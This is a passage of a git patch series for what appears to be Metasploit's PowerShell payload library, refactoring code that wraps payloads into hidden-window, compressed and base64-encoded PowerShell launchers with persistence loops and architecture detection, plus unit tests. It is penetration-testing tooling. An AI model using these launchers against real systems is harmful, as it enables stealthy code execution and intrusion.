+    arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'
 
     ps_args = generate_psh_args(arg_opts)
 
@@ -193,6 +205,9 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 $s.FileName=$b
 $s.Arguments='#{ps_args}'
 $s.UseShellExecute=$false
+$si.RedirectStandardOutput=$true
+$si.WindowStyle='Hidden'
+$si.CreateNoWindow=$True
 $p=[System.Diagnostics.Process]::Start($s)
 EOS
     process_start_info.gsub!("\n",';')
@@ -208,13 +223,15 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 EOS
     archictecure_detection.gsub!("\n","")
 
-    return (archictecure_detection + process_start_info)
+    archictecure_detection + process_start_info
   end
 
   #
   # Creates cmd script to execute psh payload
   #
   def cmd_psh_payload(pay, payload_arch, opts={})
+    opts[:persist] ||= datastore['Powershell::persist']
+    opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
 
     if opts[:encode_inner_payload] && opts[:encode_final_payload]
       raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
@@ -224,15 +241,19 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
     end
 
-    # Allow powershell 1.0 format
-    if opts[:old_psh] || datastore['PSH::old_technique']
-      psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
-    else
-      psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
+    psh_payload = case datastore['PSH::method']
+    when 'net'
+      Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
+    when 'reflection'
+      Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
+    when 'old'
+      Msf::Util::EXE.to_win32pe_psh(framework, pay)
+    when 'msil'
+      raise RuntimeError, "MSIL Powershell Technique no longer exists"
     end
 
     # Run our payload in a while loop
-    if datastore['PSH::persist']
+    if opts[:persist]
       fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
       sleep_time = rand(5)+5
       vprint_status("Sleep time set to #{sleep_time} seconds")
@@ -240,6 +261,14 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
     end
 
+    if opts[:prepend_sleep]
+      if opts[:prepend_sleep].to_i > 0
+        psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
+      else
+        vprint_error('Sleep time must be greater than 0 seconds')
+      end
+    end
+
     compressed_payload = compress_script(psh_payload)
     encoded_payload = encode_script(psh_payload)
 
@@ -297,7 +326,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     if opts[:remove_comspec]
       command = psh_command
     else
-      command = "%COMSPEC% /b /c #{psh_command}"
+      command = "%COMSPEC% /b /c start /min #{psh_command}"
     end
 
     vprint_status("Powershell command length: #{command.length}")
@@ -305,7 +334,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
     end
 
-    return command
+    command
   end
 
 
@@ -337,23 +366,24 @@ def self.secure_string(str)
       return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
     end
 
-	#
-	# Convert binary to byte array, read from file if able
-	#
-	def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-		code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-		code = code.unpack('C*')
-		psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
-		lines = []
-		1.upto(code.length-1) do |byte|
-			if(byte % 10 == 0)
-				lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
-			else
-				lines.push ",0x#{code[byte].to_s(16)}"
-			end
-		end
-		psh << lines.join("") + "\r\n"
-	end
+    #
+    # Convert binary to byte array, read from file if able
+    #
+    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      code = code.unpack('C*')
+      psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
+      lines = []
+      1.upto(code.length-1) do |byte|
+        if(byte % 10 == 0)
+          lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
+        else
+          lines.push ",0x#{code[byte].to_s(16)}"
+        end
+      end
+
+      return psh << lines.join("") + "\r\n"
+    end
 
     #
     # Find PID of file locker
@@ -362,10 +392,13 @@ def self.who_locked_file?(filename)
       return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
     end
 
-
+    #
+    # Return last time of login for each user
+    #
     def self.get_last_login(user)
       return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
     end
+
   end
 end
 end
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 28424cbc4667..ce3f198f0e24 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -30,22 +30,44 @@ def to_s_lineno
     end
 
     #
-    # Return a Base64 encoded powershell code
+    # Return a zlib compressed powershell code
     #
-    def encode_code(eof = nil)
-      # Convert expression to unicode
-      unicode_expression = Rex::Text.to_unicode(code)
+    def deflate_code(eof = nil)
+      # Compress using the Deflate algorithm
+      compressed_stream = ::Zlib::Deflate.deflate(code,
+      ::Zlib::BEST_COMPRESSION)
 
-      # Base64 encode the unicode expression
-      @code = Rex::Text.encode_base64(unicode_expression)
+      # Base64 encode the compressed file contents
+      encoded_stream = Rex::Text.encode_base64(compressed_stream)
 
-      return code
+      # Build the powershell expression
+      # Decode base64 encoded command and create a stream object
+      psh_expression =  "$s=New-Object IO.MemoryStream(,"
+      psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
+      # Read & delete the first two bytes due to incompatibility with MS
+      psh_expression << "$stream.ReadByte()|Out-Null;"
+      psh_expression << "$stream.ReadByte()|Out-Null;"
+      # Uncompress and invoke the expression (execute)
+      psh_expression << "$(IEX $(New-Object IO.StreamReader("
+      psh_expression << "$(New-Object IO.Compression.DeflateStream("
+      psh_expression << "$s,"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
+      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
+
+      # If eof is set, add a marker to signify end of code output
+      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+      psh_expression << "echo '#{eof}';" if eof
+
+      @code = psh_expression
+
+      psh_expression
     end
 
+
     #
-    # Return a zlib compressed powershell code
+    # Return a gzip compressed powershell code
     #
-    def compress_code(eof = nil)
+    def gzip_code(eof = nil)
       # Compress using the Deflate algorithm
       compressed_stream = Rex::Text.gzip(code)
 
@@ -66,18 +88,32 @@ def compress_code(eof = nil)
 
       @code = psh_expression
 
-      return psh_expression
+      psh_expression
+    end
+
+    #
+    # Compresses script contents with gzip or deflate
+    #
+    def compress_code(eof = nil, gzip = true, in_place = true)
+      code = gzip ? gzip_code(eof) : deflate_code(eof)
+      @code = code if in_place
+      return code
     end
 
     #
     # Reverse the compression process
+    # Try gzip, inflate if that fails
     #
     def decompress_code
+      # Decode base64 and convert to ascii
+      raw = Rex::Text.decode_base64(code)
+      ascii_expression = Rex::Text.to_ascii(raw)
       # Extract substring with payload
       encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
       # Decode and decompress the string
-      return Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) )
-      # ::Zlib::Inflate.inflate( Rex::Text.decode_base64(encoded_stream) )
+      @code = ( Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) ) ||
+        Rex::Text.zlib_inflate( Rex::Text.decode_base64(encoded_stream)) )
+      return code
     end
   end
 
@@ -144,6 +180,7 @@ def get_var_names
         '$WhatIfPreference'
       ].map(&:downcase)
 
+      # return code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten - res_vars
 
       our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
       return our_vars.select {|v| !res_vars.include?(v)}
@@ -243,7 +280,17 @@ def strip_comments
       # Multi line
       code.gsub!(/<#(.*?)#>/m,'')
       # Single line
-      code.gsub!(/^#.*$|^\s+#.*$/,'')
+      code.gsub!(/^\s*#(?!.*region)(.*$)/i,'')
+    end
+
+    #
+    # Remove empty lines
+    #
+    def strip_empty_lines
+      # Windows EOL
+      code.gsub!(/[\r\n]+/,"\r\n")
+      # UNIX EOL
+      code.gsub!(/[\n]+/,"\n")
     end
 
     #
@@ -254,7 +301,6 @@ def strip_whitespace
       code.gsub!(/\s+/,' ')
     end
 
-
     #
     # Identify variables and replace them
     #
@@ -349,7 +395,21 @@ class Script
     # Pretend we are actually a string
     extend Forwardable
     # In case someone messes with String we delegate based on its instance methods
-    eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+    #eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+    def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
+                   :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
+                   :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
+                   :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
+                   :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
+                   :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
+                   :delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
+                   :hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
+                   :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
+                   :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
+                   :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
+                   :initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
+                   :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
+                   :end_with?
 
     # def method_missing(meth, *args, &block)
     #   code.send(meth,*args,&block) || (raise NoMethodError.new, meth)
@@ -379,12 +439,11 @@ def initialize(code)
     ##
 
     #
-    # Convert binary to byte array, read from file if able
+    # Build a byte array to load into powershell code
     #
-    def self.to_byte_array(input_data,var_name="buf")
-      return "[Byte[]]$#{name} = ''" if input_data.nil? or input_data.empty?
-
-      code = input_data.unpack('C*')
+    def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      code = code.unpack('C*')
       psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
       lines = []
       1.upto(code.length-1) do |byte|
@@ -394,16 +453,7 @@ def self.to_byte_array(input_data,var_name="buf")
           lines.push ",0x#{code[byte].to_s(16)}"
         end
       end
-
-      return psh << lines.join("") + "\r\n"
-    end
-
-    #
-    # Build a byte array to load into powershell code
-    #
-    def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-      return to_byte_array(input_data,var_name)
+      psh << lines.join("") + "\r\n"
     end
 
     def self.psp_funcs(dir)
@@ -423,3 +473,4 @@ def self.code_modifiers
 end
 end
 end
+

From 1ca690eccf8b3d13059246c8256ce64c68f61921 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 2 Mar 2014 20:37:08 +0000
Subject: [PATCH 055/108] Do some rspec

---
 lib/msf/core/exploit/powershell.rb      |  20 ++++-
 spec/lib/msf/core/exploit/powershell.rb | 100 ++++++++++++++++++++++++
 2 files changed, 116 insertions(+), 4 deletions(-)
 create mode 100644 spec/lib/msf/core/exploit/powershell.rb

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index f28c94650b58..c1251d32d87e 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -99,7 +99,7 @@ def compress_script(script_in, eof = nil)
   # Generate a powershell command line
   #
   def generate_psh_command_line(opts)
-    if opts[:path] and opts[:path][-1,1] == "\\"
+    if opts[:path] and (opts[:path][-1,1] != "\\")
       opts[:path] << "\\"
     end
 
@@ -116,8 +116,16 @@ def generate_psh_command_line(opts)
 
   #
   # Generate arguments for the powershell command
+  # The format will be have no space at the start and have a space
+  # afterwards e.g. "-Arg1 x -Arg -Arg x "
   #
   def generate_psh_args(opts)
+    return "" unless opts
+
+    unless opts.has_key? :shorten
+      opts[:shorten] = (datastore['Powershell::method'] != 'old')
+    end
+
     arg_string = " "
     opts.each_pair do |arg, value|
       case arg
@@ -153,8 +161,8 @@ def generate_psh_args(opts)
       arg_string << "-Command #{opts[:command]}"
     end
 
-    # Shorten args if PSH 2.0+
-    unless datastore['Powershell::method'] == 'old'
+    # Shorten arg if PSH 2.0+
+    if opts[:shorten]
       arg_string.gsub!(' -Command ', ' -c ')
       arg_string.gsub!(' -EncodedCommand ', ' -e ')
       arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
@@ -170,7 +178,11 @@ def generate_psh_args(opts)
     end
 
     #Strip off first space character
-    arg_string[1..-1]
+    arg_string = arg_string[1..-1]
+    #Remove final space character
+    arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
+
+    arg_string
   end
 
   #
diff --git a/spec/lib/msf/core/exploit/powershell.rb b/spec/lib/msf/core/exploit/powershell.rb
new file mode 100644
index 000000000000..34da695706e7
--- /dev/null
+++ b/spec/lib/msf/core/exploit/powershell.rb
@@ -0,0 +1,100 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+describe Msf::Exploit::Powershell do
+  let(:datastore) { { } }
+  subject do
+    mod = Module.new
+    mod.extend described_class
+    mod.stub(
+      :datastore => datastore
+    )
+
+    mod
+  end
+
+  describe "::generate_psh_command_line" do
+    it 'should contain no full stop when :no_full_stop' do
+      opts = {:no_full_stop => true}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("powershell ").should be_true
+    end
+
+    it 'should contain full stop unless :no_full_stop' do
+      opts = {}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("powershell.exe ").should be_true
+
+      opts = {:no_full_stop => false}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("powershell.exe ").should be_true
+    end
+
+    it 'should ensure the path should always ends with \\' do
+      opts = {:path => "test"}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("test\\powershell.exe ").should be_true
+
+      opts = {:path => "test\\"}
+      command = subject.generate_psh_command_line(opts)
+      command.include?("test\\powershell.exe ").should be_true
+    end
+  end
+
+  describe "::generate_psh_args" do
+    it 'should return empty string for nil opts' do
+      subject.generate_psh_args(nil).should eql ""
+    end
+
+    command_args = [[:encodedcommand, "parp"],
+                    [:executionpolicy, "bypass"],
+                    [:inputformat, "xml"],
+                    [:file, "x"],
+                    [:noexit, true],
+                    [:nologo, true],
+                    [:noninteractive, true],
+                    [:mta, true],
+                    [:outputformat, 'xml'],
+                    [:sta, true],
+                    [:noprofile, true],
+                    [:windowstyle, "hidden"],
+                    [:command, "Z"]
+    ]
+
+    permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
+
+    permutations.each do |perms|
+      opts = {}
+      perms.each do |k,v|
+        opts[k] = v
+        it "should generate correct arguments for #{opts}" do
+          opts[:shorten] = true
+          short_args = subject.generate_psh_args(opts)
+          opts[:shorten] = false
+          long_args = subject.generate_psh_args(opts)
+
+          opt_length = opts.length - 1
+
+          short_args.should_not be_nil
+          long_args.should_not be_nil
+          short_args.count('-').should eql opt_length
+          long_args.count('-').should eql opt_length
+          short_args[0].should_not eql " "
+          long_args[0].should_not eql " "
+          short_args[-1].should_not eql " "
+          long_args[-1].should_not eql " "
+
+          if opts[:command]
+            long_args[-10..-1].should eql "-Command Z"
+            short_args[-4..-1].should eql "-c Z"
+          end
+       end
+      end
+    end
+  end
+
+end
+

From 0956ae5789cef156945b22a249ef02943c4641e1 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 2 Mar 2014 20:56:55 +0000
Subject: [PATCH 056/108] Fix payload selection

---
 lib/msf/core/exploit/powershell.rb | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index c1251d32d87e..65a3b28fa73c 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -244,6 +244,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
   def cmd_psh_payload(pay, payload_arch, opts={})
     opts[:persist] ||= datastore['Powershell::persist']
     opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
+    opts[:method] ||= datastore['Powershell::method']
 
     if opts[:encode_inner_payload] && opts[:encode_final_payload]
       raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
@@ -253,7 +254,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
     end
 
-    psh_payload = case datastore['PSH::method']
+    psh_payload = case opts[:method]
     when 'net'
       Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
     when 'reflection'
@@ -261,7 +262,9 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     when 'old'
       Msf::Util::EXE.to_win32pe_psh(framework, pay)
     when 'msil'
-      raise RuntimeError, "MSIL Powershell Technique no longer exists"
+      raise RuntimeError, "MSIL Powershell method no longer exists"
+    else
+      raise RuntimeError, "No Powershell method specified"
     end
 
     # Run our payload in a while loop

From 2acd0a1b1e63d7bc7756ecc75c2ec300742b401d Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 2 Mar 2014 21:03:31 +0000
Subject: [PATCH 057/108] Reinstance encode_code

---
 lib/rex/exploitation/powershell.rb | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index ce3f198f0e24..e477f1236072 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -63,6 +63,15 @@ def deflate_code(eof = nil)
       psh_expression
     end
 
+    #
+    # Return Base64 encoded powershell code
+    #
+    def encode_code(eof = nil)
+      unicode_expression = Rex::Text.to_unicode(code)
+      @code = Rex::Text.encode_base64(unicode_expression)
+
+      code
+    end
 
     #
     # Return a gzip compressed powershell code

From 8dee9b22c31bbac88178fc76c867d45c5b7f2519 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 2 Mar 2014 22:07:47 +0000
Subject: [PATCH 058/108] Reinstate to_byte_array

---
 lib/rex/exploitation/powershell.rb | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index e477f1236072..8effc6d3c1b5 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -448,11 +448,12 @@ def initialize(code)
     ##
 
     #
-    # Build a byte array to load into powershell code
+    # Convert binary to byte array
     #
-    def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-      code = code.unpack('C*')
+    def self.to_byte_array(input_data,var_name="buf")
+      return "[Byte[]]$#{name} = ''" if input_data.nil? or input_data.empty?
+
+      code = input_data.unpack('C*')
       psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
       lines = []
       1.upto(code.length-1) do |byte|
@@ -462,7 +463,16 @@ def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3
           lines.push ",0x#{code[byte].to_s(16)}"
         end
       end
-      psh << lines.join("") + "\r\n"
+
+      return psh << lines.join("") + "\r\n"
+    end
+
+    #
+    # Build a byte array to load into powershell code
+    #
+    def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      return to_byte_array(code, var_name)
     end
 
     def self.psp_funcs(dir)

From 9f05760c50aae12910c7fd0d6a0353e5bfd1133e Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Fri, 18 Apr 2014 00:28:48 -0400
Subject: [PATCH 059/108] Merge with Meatballs' initial changes

Clean up arch detection code and dedup Msf/Rex
Reduce generated payload size
---
 lib/msf/core/exploit/powershell.rb | 35 +++++---------
 lib/rex/exploitation/powershell.rb | 75 ++++++++++++++----------------
 2 files changed, 45 insertions(+), 65 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 24c8f6619b3a..2e3a32082781 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -4,8 +4,8 @@
 module Msf
 module Exploit::Powershell
 
-  class PowershellScript < Rex::Exploitation::Powershell::Script
-  end
+  PowershellScript = Rex::Exploitation::Powershell::Script
+
 
   def initialize(info = {})
     super
@@ -71,7 +71,7 @@ def encode_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v == 'true' }.keys.map do |k|
+    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -87,7 +87,7 @@ def compress_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v == 'true' }.keys.map do |k|
+    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -162,7 +162,7 @@ def generate_psh_args(opts)
     end
 
     # Shorten arg if PSH 2.0+
-    if opts[:shorten] and !datastore['Powershell::method'].downcase.strip == 'old'
+    if opts[:shorten]
       arg_string.gsub!(' -Command ', ' -c ')
       arg_string.gsub!(' -EncodedCommand ', ' -e ')
       arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
@@ -189,10 +189,12 @@ def generate_psh_args(opts)
   # Runs powershell in hidden window raising interactive proc msg
   # Detect the architecture
   #
+
   def run_hidden_psh(ps_code, payload_arch, encoded)
     arg_opts = {
         :noprofile => true,
         :windowstyle => 'hidden',
+        :shorten => false
     }
 
     if encoded
@@ -202,36 +204,27 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
     end
 
     # Old technique fails if powershell exits..
-    arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
+    arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'
 
     ps_args = generate_psh_args(arg_opts)
 
-    if payload_arch == 'x86'
-      arch_x86 = '$True'
-    else
-      arch_x86 = '$False'
-    end
-
     process_start_info = <<EOS
 $s=New-Object System.Diagnostics.ProcessStartInfo
 $s.FileName=$b
 $s.Arguments='#{ps_args}'
 $s.UseShellExecute=$false
-$si.RedirectStandardOutput=$true
-$si.WindowStyle='Hidden'
-$si.CreateNoWindow=$True
 $p=[System.Diagnostics.Process]::Start($s)
 EOS
     process_start_info.gsub!("\n",';')
 
     archictecure_detection = <<EOS
-$a=#{arch_x86};
 if([IntPtr]::Size -eq 4){
 #{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
 }else{
-#{payload_arch == 'x86' ? "{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
+#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
 };
 EOS
+
     archictecure_detection.gsub!("\n","")
 
     archictecure_detection + process_start_info
@@ -274,13 +267,6 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
     end
-    if datastore['Powershell::prepend_sleep']
-      if datastore['Powershell::prepend_sleep'].to_i > 0
-        psh_payload = "Start-Sleep -s #{datastore['Powershell::prepend_sleep']};" << psh_payload
-      else
-        vprint_error('Sleep time must be greater than 0 seconds')
-      end
-    end
 
     if opts[:prepend_sleep]
       if opts[:prepend_sleep].to_i > 0
@@ -365,6 +351,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
   module PshMethods
     include Rex::Exploitation::Powershell::PshMethods
   end
+
 end
 end
 
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index a659661cb4a0..2b03e99632a5 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -127,14 +127,9 @@ def decompress_code
   end
 
   module Parser
-
-    #
-    # Get variable names from code, removes reserved names from return
-    #
-    def get_var_names
-      # Reserved special variables
-      # Acquired with: Get-Variable | Format-Table name, value -auto
-      res_vars = [
+    # Reserved special variables
+    # Acquired with: Get-Variable | Format-Table name, value -auto
+    RESERVED_VARIABLE_NAMES = [
         '$$',
         '$?',
         '$^',
@@ -187,12 +182,14 @@ def get_var_names
         '$VerbosePreference',
         '$WarningPreference',
         '$WhatIfPreference'
-      ].map(&:downcase)
-
-      # return code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten - res_vars
+      ].map(&:downcase).freeze
 
+    #
+    # Get variable names from code, removes reserved names from return
+    #
+    def get_var_names
       our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
-      return our_vars.select {|v| !res_vars.include?(v)}
+      return our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
     end
 
     #
@@ -219,7 +216,7 @@ def scan_with_index(str,source=code)
     end
 
     #
-    # Return matching backet type
+    # Return matching bracket type
     #
     def match_start(char)
       case char
@@ -373,6 +370,7 @@ def initialize(name,code)
       @code = code
       populate_params
     end
+
     def to_s
       "function #{name} #{code}"
     end
@@ -420,10 +418,6 @@ class Script
                    :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
                    :end_with?
 
-    # def method_missing(meth, *args, &block)
-    #   code.send(meth,*args,&block) || (raise NoMethodError.new, meth)
-    # end
-
     def initialize(code)
       @code = ''
       begin
@@ -447,6 +441,24 @@ def initialize(code)
     # Class methods
     ##
 
+    #
+    # Convert binary to byte array, read from file if able
+    #
+    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      code = code.unpack('C*')
+      psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
+      lines = []
+      1.upto(code.length-1) do |byte|
+        if(byte % 10 == 0)
+          lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
+        else
+          lines.push ",0x#{code[byte].to_s(16)}"
+        end
+      end
+
+      return psh << lines.join("") + "\r\n"
+    end
 
     def self.psp_funcs(dir)
       scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
@@ -463,13 +475,13 @@ def self.code_modifiers
   end # class Script
 
   ##
-  # Convenience methods
+  # Convenience methods for generating powershell code in Ruby
   ##
   
   module PshMethods
 
     #
-    # Download file to host via PSH
+    # Download file via .NET WebClient
     #
     def self.download(src,target=nil)
       target ||= '$pwd\\' << src.split('/').last
@@ -477,7 +489,7 @@ def self.download(src,target=nil)
     end
 
     #
-    # Uninstall app
+    # Uninstall app, or anything named like app
     #
     def self.uninstall(app,fuzzy=true)
       match = fuzzy ? '-like' : '-eq'
@@ -492,33 +504,14 @@ def self.secure_string(str)
     end
 
     #
-    # Convert binary to byte array, read from file if able
-    #
-    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-      code = code.unpack('C*')
-      psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
-      lines = []
-      1.upto(code.length-1) do |byte|
-        if(byte % 10 == 0)
-          lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
-        else
-          lines.push ",0x#{code[byte].to_s(16)}"
-        end
-      end
-
-      return psh << lines.join("") + "\r\n"
-    end
-
-    #
-    # Find PID of file locker
+    # Find PID of file lock owner
     #
     def self.who_locked_file?(filename)
       return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
     end
 
     #
-    # Return last time of login for each user
+    # Return last time of login
     #
     def self.get_last_login(user)
       return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^

From 270b4b9728293a7247f221cf8bf0f92e29e6760a Mon Sep 17 00:00:00 2001
